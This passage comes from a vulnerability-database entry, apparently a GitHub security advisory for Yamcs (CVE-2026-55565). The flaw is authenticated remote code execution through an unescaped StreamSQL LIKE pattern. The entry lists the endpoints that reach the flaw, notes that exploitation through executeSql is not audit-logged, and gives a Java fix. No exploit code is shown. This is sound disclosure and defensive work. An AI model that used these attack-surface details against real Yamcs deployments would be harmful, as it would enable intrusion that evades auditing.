needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via `executeSql` (`ControlArchiving`), `readRows` (`ReadTables`), the events list/export/stream endpoints (`ReadEvents`), and the activities listing (`ReadActivities`).\n\nExploitation via `executeSql` generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).\n\n## Remediation\nEscape the pattern like other literals, in `LikeExpression.fillCode_getValueReturn`:\n```java\ncode.append(\", \\\"\");\nValueExpression.escapeJavaString(likeClause.pattern, code);  // was: code.append(likeClause.pattern);\ncode.append(\"\\\")\");\n```\nDefence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every `cook()` path; compile generated classes under a classloader that cannot reach `Runtime`/`ProcessBuilder`.",
  "id": "GHSA-c64q-hj4j-375f",
  "modified": "2026-08-28T17:30:32Z",
  "published": "2026-08-28T17:30:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/640e1598b7097b521692e89dd47a39b6cb1fc663"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/a8fb4a0693fa62a6eb729b26016d1090dd8b289c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-55565 (GCVE-0-2026-55565)

FKIE_CVE-2026-55565

GHSA-C64Q-HJ4J-375F

Summary

Details

Proof of Concept

Impact

Remediation

Tags

Sightings

Nomenclature